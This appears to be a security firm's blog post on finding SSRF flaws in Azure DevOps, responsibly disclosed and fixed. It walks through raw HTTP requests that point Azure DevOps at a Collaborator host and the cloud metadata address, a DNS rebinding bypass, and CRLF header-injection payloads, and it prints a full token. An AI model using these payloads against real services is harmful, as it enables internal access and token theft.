Finding SSRFs in Azure DevOps
Binary Security found three SSRF vulnerabilities in Azure DevOps that we reported to Microsoft. This blog post outlines the way we identified these vulnerabilities, and demonstrates exploitation techniques using DNS rebinding and CRLF injection.
Background
During a client engagement, testing their Azure and DevOps environments for vulnerabilities and privilege escalations, I wanted to see if there were any Service Connections with privileged Service Principals in Azure that could be used by all pipelines in the project. This is a common vulnerability that may have severe consequences, especially in large Azure DevOps projects, where attackers with access to developer accounts can abuse the Service Connections for privilege escalations in Azure and other connected systems. In Binary Security, we try to automate any security check that can be automated, and I decided to write a module for it to our internal command-line interface we use for everything.
To write this module, I tried to look up any Azure DevOps API endpoints that would return the Service Connections in the DevOps project. However, the API documentation for Azure DevOps is quite useless, so I proxied the application (DevOps) through Burp Suite, and accessed the Service Connection page manually. I found a useful API endpoint quickly, but was sidetracked by another, more interesting endpoint when creating a Service Connection:
The request that was sent looked like this:
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
Cookie: <...>
Content-Length: 872
{
"serviceEndpointDetails": {
"authorization": {
"parameters": {
"accessTokenType": "AppToken",
"serviceprincipalid": "",
"serviceprincipalkey": "",
"tenantid": "cb8bff8b-e82a-4629-aa12-9ad2ef2790be"
},
"scheme": "serviceprincipal"
},
"data": {
"appObjectId": "",
"azureSpnPermissions": "",
"azureSpnRoleAssignmentId": "",
"creationMode": "Automatic",
"environment": "AzureCloud",
"scopeLevel": "Subscription",
"spnObjectId": "",
"subscriptionId": "292c3ce5-4288-4413-8dad-5c665019739d",
"subscriptionName": "Azure subscription 1"
},
"type": "azurerm",
"url": "https://management.azure.com/"
},
"dataSourceDetails": {
"dataSourceName": "AzureResourceGroups",
"dataSourceUrl": "",
"headers": [],
"requestContent": "",
"requestVerb": "",
"resourceUrl": "",
"parameters": {},
"resultSelector": "",
"initialContextTemplate": ""
},
"resultTransformationDetails": {
"resultTemplate": "",
"callbackContextTemplate": "",
"callbackRequiredTemplate": ""
}
}
EndpointProxy SSRF
Noticing an endpoint called endpointproxy
with a url
parameter, I obviously inserted a Burp Collaborator payload to see if there were any SSRF possibilities. And there was:
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
Cookie: <COOKIES>
Content-Length: 911
{
"serviceEndpointDetails": {
"authorization": {
"parameters": {
"accessTokenType": "AppToken",
"serviceprincipalid": "",
"serviceprincipalkey": "",
"tenantid": "cb8bff8b-e82a-4629-aa12-9ad2ef2790be"
},
"scheme": "serviceprincipal"
},
<...>
"type": "azurerm",
"url": "https://wcc0k51dmh8d8lgj3d0fzsrmrdxbl29r.bcollaborator.binsec.cloud/"
},
<...>
}
HTTP/2 200 OK
Cache-Control: no-cache
<...>
Date: Fri, 24 Nov 2023 19:01:32 GMT
{
"result": [],
"statusCode": 400,
"errorMessage": "Unable to parse response as JSON object. Error: Unexpected character encountered while parsing value: <. Path '', line 0, position 0."
}
I received the following request to my Collaborator server.
The request contained a JWT token, which is always interesting. However, when decoding the token, we see that it’s a personal Azure token, scoped to Azure Resource Manager (ARM) that belongs to my user account, which naturally does not increase the impact of this finding.
Azure tokens are weird, and previously it was possible to issue tokens with tid
claims belonging to arbitrary tenants, as described in another blog post (scroll down to “Access token without guest access”). This has been fixed now by Microsoft, but I tried the same trick in the endpointproxy
request, just by changing the tenantid
parameter to a different tenant:
I received the following request to my collaborator server:
POST /providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01 HTTP/1.1
Accept: application/json
Request-Context: appId=cid-v1:0cc0e688-cf14-42b5-9911-f427a40700f1
Request-Id: |1983475f4bc4ff8e8bd40ebcbac3b27d.fc8b5558c1d1b5a5.
traceparent: 00-1983475f4bc4ff8e8bd40ebcbac3b27d-fc8b5558c1d1b5a5-00
User-Agent: vsts-serviceendpointproxy-service/v.19.247.35513.6 (EndpointId/0)
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6InoxcnNZSEhKOS04bWdndDRIc1p1OEJLa0JQdyIsImtpZCI6InoxcnNZSEhKOS04bWdndDRIc1p1OEJLa0JQdyJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuY29yZS53aW5kb3dzLm5ldC8iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC83MmY5ODhiZi04NmYxLTQxYWYtOTFhYi0yZDdjZDAxMWRiNDcvIiwiaWF0IjoxNzM2MjM0ODMzLCJuYmYiOjE3MzYyMzQ4MzMsImV4cCI6MTczNjIzOTQ1MywiYWNyIjoiMSIsImFpbyI6IkFXUUFtLzhaQUFBQXUyUkJaQXlQNnI4TlhTUmRwNzZiSXFhM0NuUklwSEJiTnVkNEhiZ055ZjBoeG14Y00yc0NTUzNBbFEvZU5aeC9FYTdZZmVSSDlmOUpsczBBOTdRNHdENHdQbU12NmZmQWlraUhoS0FrVlcxU0lpRXhQbWEyMkdlZ05UdHVIVFFmIiwiYWx0c2VjaWQiOiI1OjoxMDAzMjAwMTg3RDNGRDE3IiwiYW1yIjpbInB3ZCIsIm1mYSJdLCJhcHBpZCI6IjQ5OWI4NGFjLTEzMjEtNDI3Zi1hYTE3LTI2N2NhNjk3NTc5OCIsImFwcGlkYWNyIjoiMiIsImF1dGhfdGltZSI6MTczNjIzNDgyMywiZW1haWwiOiJ0b3JqdXNAYmluYXJ5c2VjdXJpdHkubm8iLCJmYW1pbHlfbmFtZSI6IlJldHRlcnN0w7hsIiwiZ2l2ZW5fbmFtZSI6IlRvcmp1cyBCcnluZSIsImlkcCI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0L2NiOGJmZjhiLWU4MmEtNDYyOS1hYTEyLTlhZDJlZjI3OTBiZS8iLCJpZHR5cCI6InVzZXIiLCJpcGFkZHIiOiIxOTUuMC4xNDMuMTk4IiwibmFtZSI6IlRvcmp1cyIsInJoIjoiMS5BUm9BdjRqNWN2R0dyMEdScXkxODBCSGJSMFpJZjNrQXV0ZFB1a1Bhd2ZqMk1CTWFBSllhQUEuIiwic2NwIjoidXNlcl9pbXBlcnNvbmF0aW9uIiwic2lkIjoiMmVkYjBkOGQtYmE0OC00YjQ3LWE5N2ItMzk5NWJmMzA5OTllIiwic3ViIjoiQXVTWDJNVGN2dE9hYXFobE4yd0o4QjQxclJfcGRrajNZbEtPVHYzZU9xRSIsInRpZCI6IjcyZjk4OGJmLTg2ZjEtNDFhZi05MWFiLTJkN2NkMDExZGI0NyIsInVuaXF1ZV9uYW1lIjoidG9yanVzQGJpbmFyeXNlY3VyaXR5Lm5vIiwidXRpIjoiZWdxNGl1V3BpRU9HVHNmcWtaOGFBUSIsInZlciI6IjEuMCIsInhtc19lZG92Ijp0cnVlLCJ4bXNfaWRyZWwiOiIyMiAxNSIsInhtc190Y2R0IjoxMjg5MjQxNTQ3fQ.cH9SHBrZq_XvcEV4pGriWz9LAYbSv_FKpJo0EDhef6ksaK5h43kmj__Uedmi4gdrcVCBnRar0IYX-dUQ2Cysj9IYvoqXA9R_BBe4xJumhcjLxxHK1uV5l3MYGVAmN3u_st-mZWAEs3mRxLaGAJX1UIItXW2mNyEBsBvHqNtReJq3azngbQ74KovG3b-iT0_oGnuhJ8Y5B1qNswoRNzT6tPPOyC_RDd932qUGgzpM-3AYwQsia3WdR-PZss2T52SXJl02CqNQxY0xxKl0g0e9_Tvd4rfkKVHrcCvTgTw24mO8X9D7xSadDw9HGnc_cnBE6Jmf5S0WPUQAzLHkqPoZHA
Content-Type: application/json; charset=utf-8
Host: dl2htmauvyhuh2p0cu9w89030u6summab.bcollaborator.binsec.cloud
Content-Length: 168
Expect: 100-continue
Connection: Keep-Alive
{"query":"resourcecontainers|where subscriptionId=='292c3ce5-4288-4413-8dad-5c665019739d'|where type=='microsoft.resources/subscriptions/resourcegroups'|distinct name"}
When decoding the JWT in the request, we get the following information:
{
"aud": "https://management.core.windows.net/",
"iss": "https://sts.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/",
"iat": 1736234833,
"nbf": 1736234833,
"exp": 1736239453,
"acr": "1",
"aio": "AWQAm/8ZAAAAu2RBZAyP6r8NXSRdp76bIqa3CnRIpHBbNud4HbgNyf0hxmxcM2sCSS3AlQ/eNZx/Ea7YfeRH9f9Jls0A97Q4wD4wPmMv6ffAikiHhKAkVW1SIiExPma22GegNTtuHTQf",
"altsecid": "5::1003200187D3FD17",
"amr": [
"pwd",
"mfa"
],
"appid": "499b84ac-1321-427f-aa17-267ca6975798",
"appidacr": "2",
"auth_time": 1736234823,
"email": "torjus@binarysecurity.no",
"family_name": "Retterstøl",
"given_name": "Torjus Bryne",
"idp": "https://sts.windows.net/cb8bff8b-e82a-4629-aa12-9ad2ef2790be/",
"idtyp": "user",
"ipaddr": "195.0.143.198",
"name": "Torjus",
"rh": "1.ARoAv4j5cvGGr0GRqy180BHbR0ZIf3kAutdPukPawfj2MBMaAJYaAA.",
"scp": "user_impersonation",
"sid": "2edb0d8d-ba48-4b47-a97b-3995bf30999e",
"sub": "AuSX2MTcvtOaaqhlN2wJ8B41rR_pdkj3YlKOTv3eOqE",
"tid": "72f988bf-86f1-41af-91ab-2d7cd011db47",
"unique_name": "torjus@binarysecurity.no",
"uti": "egq4iuWpiEOGTsfqkZ8aAQ",
"ver": "1.0",
"xms_edov": true,
"xms_idrel": "22 15",
"xms_tcdt": 1289241547
}
The iss
and the tid
in the token belongs to Microsoft’s tenant (72f988bf-86f1-41af-91ab-2d7cd011db47
). The audience is https://management.core.windows.net/
and the appid
belongs to Azure DevOps (499b84ac-1321-427f-aa17-267ca6975798
), indicating that it was possible to generate ARM tokens to arbitrary Azure tenants. (Actually it was not possible to craft tokens with arbitrary tid
. For some reason, some tenant IDs were blocked, seemingly the ones that did not have on-prem AD sync.)
However, the token did not contain the oid
, groups
or wids
claims, which should ensure that it does not have any permissions in ARM. By sending a request to the tenants
-endpoint, the API returned both our tenant ID (cb8bff8b-e82a-4629-aa12-9ad2ef2790be
) and Microsoft’s tenant ID (72f988bf-86f1-41af-91ab-2d7cd011db47
):
I did not find any sensitive ARM APIs that the token was authorized to communicate with, but if any companies have internal applications that only validate the iss
or tid
in ARM tokens to grant access to anyone internally in the company, this gadget can be used to bypass authentication. I’ve personally seen similar mistakes during pentests, so I’m pretty sure there are other companies that are vulnerable to this. This has not been fixed by Microsoft.
The token did not prove any impact, so I instead tried to escalate the SSRF to communicate with internal services. Naturally, with an SSRF in Azure, I tried to access metadata endpoints (located at 169.254.169.254
), by changing the url
-parameter to http://169.254.169.254
. The request was blocked and the application stated that it is not allowed to send request to addresses in a “special purpose range”.
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
Cookie: <...>
{
"serviceEndpointDetails": {
"authorization": {
"parameters": {
"accessTokenType": "AppToken",
"serviceprincipalid": "",
"serviceprincipalkey": "",
"tenantid": "corp.microsoft.com"
},
"scheme": "serviceprincipal"
},
<...>
"type": "azurerm",
"url": "http://169.254.169.254/"
},
<...>
}
HTTP/2 500 Internal Server Error
<...>
{
"$id": "1",
"innerException": null,
"message": "The URL resolves to address \"https://169.254.169.254/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01\", which is in a special purpose range that is not allowed in a Service Endpoint.",
"typeName": "Microsoft.TeamFoundation.DistributedTask.WebApi.ServiceEndpointException, Microsoft.TeamFoundation.DistributedTask.WebApi",
"typeKey": "ServiceEndpointException",
"errorCode": 0,
"eventId": 3000
}
Trying to set the URL to 127.0.0.1
resulted in another error message, indicating that this address also was blacklisted:
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
Cookie: <...>
{
<...>
"type": "azurerm",
"url": "https://127.0.0.1/"
},
<...>
}
HTTP/2 500 Internal Server Error
<...>
{
"$id": "1",
"innerException": null,
"message": "The URL resolves to a loopback or localhost address. This address is not allowed for use in a Service Endpoint.",
"typeName": "Microsoft.TeamFoundation.DistributedTask.WebApi.ServiceEndpointException, Microsoft.TeamFoundation.DistributedTask.WebApi",
"typeKey": "ServiceEndpointException",
"errorCode": 0,
"eventId": 3000
}
When poking around with the request, I saw that another URL parameter could be set, the dataSourceUrl
parameter. The application responded with a useful error message when trying to set the parameter:
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
<...>
{
"serviceEndpointDetails": {
<...>
"type": "azurerm",
"url": "http://169.254.169.254/"
},
"dataSourceDetails": {
"dataSourceName": "",
"dataSourceUrl": "wcc0k51dmh8d8lgj3d0fzsrmrdxbl29r.bcollaborator.binsec.cloud",
<...>
}
HTTP/2 500 Internal Server Error
<...>
{
"$id": "1",
"innerException": null,
"message": "Only URLs starting with {{endpoint.url}} or {{configuration.Url}} can be called.",
"typeName": "Microsoft.VisualStudio.Services.ServiceEndpoints.WebApi.InvalidDataSourceBindingException, Microsoft.VisualStudio.Services.ServiceEndpoints.WebApi",
"typeKey": "InvalidDataSourceBindingException",
"errorCode": 0,
"eventId": 3000
}
Only URLs starting with {{endpoint.url}} or {{configuration.Url}} can be called.
Seems like they use some sort of templating. I tried to set the dataSourceUrl
to {{ configuration.Url }}
, and resent the request, and to my surprise, the request went through:
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
<...>
{
"serviceEndpointDetails": {
<...>
"type": "azurerm",
"url": "http://169.254.169.254/?"
},
"dataSourceDetails": {
"dataSourceName": "",
"dataSourceUrl": "{{configuration.Url}}",
"headers": [],
"requestContent": "",
"requestVerb": "",
"resourceUrl": "",
"parameters": {},
"resultSelector": "",
"initialContextTemplate": ""
},
<...>
}
HTTP/2 200 OK
<...>
{
"result":[],
"statusCode":400,
"errorMessage":"Failed to query service connection API: 'http://169.254.169.254/?/@ii4mqr7zs3eze7m59z615ex8xz3xrrfg.bcollaborator.binsec.cloud'. Status Code: 'BadRequest', Response from server: '<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Error xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\n <Code>InvalidUri</Code>\n <Message>The requested URI does not represent any resource on the server.</Message>\n <Details></Details>\n</Error>'"
}
The returned error message shows that I reached the metadata endpoint, but I was missing the Metadata: True
header. I spent time trying to find a way to set this header, but I was not able to. To demonstrate impact and prove that I communicated with the metadata service, I wanted to find an endpoint that did not require the header. Googling around I found this blog by CyberCX that showed an endpoint that was not protected with the header:
http://169.254.169.254/metadata/v1/instanceinfo
This endpoint uses IMDS to retrieve the system’s instance ID.
While most IMDS APIs require the “Metadata” HTTP Header, this endpoint does not. This means it is far more likely to be vulnerable to SSRF.
I tried the endpoint, and sure enough, I got a different error message, indicating that the metadata service responded with a JSON object that was not deserialized:
POST /binary-security/399814d8-d297-4bc1-9bc4-dad676bb7332/_apis/serviceendpoint/endpointproxy?endpointId=0 HTTP/2
Host: dev.azure.com
Cookie: <...>
{
"serviceEndpointDetails": {
<...>
"type": "azurerm",
"url": "http://169.254.169.254/metadata/v1/instanceinfo#"
},
"dataSourceDetails": {
"dataSourceName": "",
"dataSourceUrl": "{{configuration.Url}}@ii4mqr7zs3eze7m59z615ex8xz3xrrfg.bcollaborator.binsec.cloud",
"headers": [],
"requestContent": "",
"requestVerb": "",
"resourceUrl": "",
"parameters": {},
"resultSelector": "",
"initialContextTemplate": ""
},
<...>
}
HTTP/2 400 Bad Request
<...>
{
"$id": "1",
"innerException": null,
"message": "TF400898: An Internal Error Occurred. Activity Id: 22322475-0383-4b08-bcae-f4552bd27d10.",
"typeName": "Newtonsoft.Json.JsonReaderException, Newtonsoft.Json",
"typeKey": "JsonReaderException",
"errorCode": 0,
"eventId": 0
}
Very limited impact was proven so far, as I wasn’t able to read the response from the request. However, the endpointproxy
request is powerful, and contains resultTransformationDetails
parameters, which sounds useful when trying to transform results. I spent a while trying to figure out if it was possible to use the resultTransformationDetails.resultTemplate
parameter to read the response. Luckily, a GitHub issue contained a useful example, showing this request utilizing the resultTransformationDetails
parameter:
"dataSourceBindings": [
{
<...>
"resultTemplate": "{ \"Value\" : \"{{defaultResultKey}}\", \"DisplayValue\" : \"{{defaultResultKey}}\" }"
},
],
Again, some sort of templating is used, but the example shows how the resultTemplate
could be used. From CyberCX’s blog, I knew that the metadata service responded with a Json object similar to {"ID":"_vm-ubuntu","UD":"0","FD":"0"}
. Thus, I tried to set the resultTemplate
parameter to {\"ID\" : \"{{ID}}\",\"UD\" : \"{{UD}}\",\"FD\" : \"{{FD}}\"}
, which worked:
I reported the bug to Microsoft, with some additional details showing that I was able to port scan the server. Microsoft issued a bounty for $5000 and tried to fix the vulnerability.
Bypassing the Fix with DNS Rebinding
Two months after I reported the issue to Microsoft, they stated that the issue had been fixed. Shortly before, me and my colleagues had exploited several SSRF vulnerabilities using DNS rebinding, so I wanted to check if it was possible to bypass the fix using this technique.
DNS rebinding works by registering a domain name that randomly resolves to different IP addresses with a very low TTL. Tavis Ormandy has implemented this tool to easily carry out the attack (https://github.com/taviso/rbndr). Trying to resolve the domain name a9fea9fe.01000001.rbndr.us
shows that it resolves to two different IP addresses randomly, 169.254.169.254
and 1.0.0.1
:
$ nslookup a9fea9fe.01000001.rbndr.us 1.1.1.1
Server: 1.1.1.1
Address: 1.1.1.1#53
Non-authoritative answer:
Name: a9fea9fe.01000001.rbndr.us
Address: 169.254.169.254
$ nslookup a9fea9fe.01000001.rbndr.us 1.1.1.1
Server: 1.1.1.1
Address: 1.1.1.1#53
Non-authoritative answer:
Name: a9fea9fe.01000001.rbndr.us
Address: 1.0.0.1
In the case of endpointproxy
, my assumption was that the attempted fix was just a check that resolved domains and verified that the resolved IP address was not in a predefined blacklist, that for instance contained 169.254.169.254
, 127.0.0.1
and other internal IP-ranges. This is a common fix for SSRF bugs, represented using the following pseudocode:
verifyUrl(url);
sendRequest(url);
This would be vulnerable to a time-of-check to time-of-use
(TOCTOU) race condition, where DNS rebinding could be abused to ensure that the domain name in the URL in verifyUrl
resolved to an allowed IP address, for instance 1.0.0.1
and the domain name in the URL in sendRequest
resolved to the targeted, disallowed IP address, for instance 169.254.169.254
.
The assumption was correct, and my first test worked, showing that I was able to bypass the fix and communicate with the metadata API by using DNS rebinding:
I immediately reported this finding to Microsoft, that awarded another $5000 bounty.
Hooks SSRF and CRLF Injection
Since I found the endpointproxy
SSRF quickly in DevOps, I figured there must be more SSRFs in the application. Clicking around and proxying through Burp Suite, I found Service Hooks
that had some interesting functionality.
A request was sent to the hooks/inputValuesQuery
endpoint when trying to configure a hook. When creating a Grafana-hook, this request contained both a url
-parameter and an apiToken
parameter:
POST /binary-security/_apis/hooks/inputValuesQuery HTTP/2
Host: vsrm.dev.azure.com
Content-Length: 550
Authorization: Bearer <...>
{
"subscription": {
"consumerActionId": "addAnnotation",
"consumerId": "grafana",
"consumerInputs": {
"url": "<URL>",
"apiToken": "<TOKEN>",
},
It was both possible to set the url
to external endpoints (such as a Burp Collaborator server) and internal endpoints (such as 169.254.169.254
). The application seemingly did not perform any validation on the url
-parameter to protect against SSRF. In addition, the content of the apiToken
parameter was directly inserted in an Authorization: Bearer
header in the outbound request, so when setting the url
to 9dndli2qnu9q9yhw4q1s05szsqymmja8.bcollaborator.binsec.cloud
and the apiToken
to test
, I received the following request to my Collaborator server:
My colleague Christian had recently found that the C# method HttpHeaders.TryAddWithoutValidation, commonly used to add headers to outbound requests, was vulnerable to CRLF injection. Another colleague, Sofia, also did some research on this topic later, which resulted in two CVEs in the popular C# frameworks Refit and RestSharp.
Knowing that TryAddWithoutValidation
was a common method used to add HTTP headers to requests in C#, I tried to inject CRLF characters (\r\n
) in the apiToken
parameter to potentially inject new headers and manipulate the request. This was successful, for instance by sending the following request containing the exploit in the apiToken
parameter:
POST /binary-security/_apis/hooks/inputValuesQuery HTTP/2
Host: vsrm.dev.azure.com
Content-Length: 553
Cookie: <COOKIES>
{
"subscription": {
"consumerActionId": "addAnnotation",
"consumerId": "grafana",
"consumerInputs": {
"url": "http://dtah1miu3ypup2x0kuhwg9838ues2ly9n.bcollaborator.binsec.cloud#",
"apiToken": "test\r\nMetadata: True\r\nX-Custom-Binsec-Header: Binary Security\r\nConnection: Close\r\n\r\n"
},
"eventType": "ms.vss-release.deployment-completed-event",
"publisherId": "audit",
"publisherInputs": {
"releaseDefinitionId": "asdf",
"releaseEnvironmentId": "asdf",
"releaseEnvironmentStatus": "asdf",
"projectId": "asdf"
},
"scope": 3
},
"scope": 4,
"inputValues": [
{
"inputId": "dashboardId",
}
]
}
Poking around with the Service Hooks functionality, I also found the same vulnerability in the testNotifications
endpoint:
POST /binary-security/_apis/hooks/testNotifications HTTP/2
Host: vsrm.dev.azure.com
Content-Length: 605
Cookie: <COOKIES>
{
"details": {
"consumerActionId": "addAnnotation",
"consumerId": "grafana",
"consumerInputs": {
"url": "https://gfzknp4xp1bxb5j36x3z2cu6ux0vooic7.bcollaborator.binsec.cloud",
"apiToken": "test\r\nHost:gfzknp4xp1bxb5j36x3z2cu6ux0vooic7.bcollaborator.binsec.cloud\r\nContent-Type: application/json\r\nContent-Length: 19\r\n\r\n{\"binsec\":\"BINSEC\"}\r\n\r\n\r\n",
"tags": "test"
},
"eventType": "ms.vss-release.deployment-completed-event",
"publisherId": "rm",
"publisherInputs": {
"releaseDefinitionId": "",
"releaseEnvironmentId": "",
"releaseEnvironmentStatus": "",
"projectId": "399814d8-d297-4bc1-9bc4-dad676bb7332"
},
"event": {}
}
}
This resulted in the following request being sent to my Collaborator server:
The CRLF injection vulnerability could be used to split the request, add arbitrary headers and HTTP body.
Using the CRLF injection vulnerability, I was able to inject the Metadata: True
header required to communicate with most metadata APIs, by setting the apiToken
-parameter to test\r\nMetadata: True
. However, when trying to retrieve a Managed Identity token, an error message was returned:
The returned content was not on the expected format. The application expected a list to be returned. To prove that it was possible to communicate with the Metadata API, I set the url
to http://169.254.169.254/metadata/instance/compute/tagsList?api-version=2019-06-04
, since that endpoint returns a list. The response did include a list, but no details, as the list was not on the expected format. It did prove that it was possible to communicate with the Metadata API, though.
I reported the vulnerability to Microsoft, and they awarded another $5000 bounty.
Final thoughts
By spending a limited amount of time testing Azure DevOps, I was able to find three SSRF vulnerabilities. This makes me confident that there are many vulnerabilities to be found in the application, and thus bounties to be paid. In addition to a SaaS application, Azure DevOps is available as a standalone application, Azure DevOps Server. This is written in C#, making it very easy to reverse the source code of the application using tools like dnSpy or ILSpy. This makes it possible to perform code review and white box testing, possibly making it easier to find vulnerabilities.
Timeline
- October 10, 2023 - Reported first SSRF vulnerability in
endpointproxy
to Microsoft (MSRC). - November 9, 2023 - Microsoft confirmed the behaviour.
- November 14, 2023 - $ 5000 bounty awarded for the
endpointproxy
SSRF. - November 21, 2023 - Microsoft gives an update, claiming they need approximately 2.5-3 months to fix the issue.
- November 30, 2023 - Reported SSRF vulnerability in
Service Hooks
to Microsoft (MSRC) - December 12, 2023 - Microsoft confirmed the behaviour.
- December 13, 2023 - $ 5000 bounty awarded for the
Service Hooks
SSRF. - December 22, 2023 - Microsoft confirms that the
endpointproxy
SSRF vulnerability is fixed. - December 23, 2023 - I bypassed the fix using DNS rebinding, and asked Microsoft if this should be reported in a separate bug report.
- December 28, 2023 - Microsoft confirms that the
Service Hooks
SSRF vulnerability is fixed. - December 30, 2023 - Microsoft states that the DNS rebinding vulnerability in
endpointproxy
is a different vulnerability, urging me to create a submit bug report. - January 2, 2024 - Reported the DNS rebinding vulnerability in
endpointproxy
to Microsoft (MSRC). - January 3, 2024 - Microsoft confirmed the behaviour.
- January 20, 2024 - $ 5000 bounty awarded for the DNS rebinding vulnerability in
endpointproxy
. - February 15, 2024 - Microsoft confirms that the DNS rebinding vulnerability is fixed.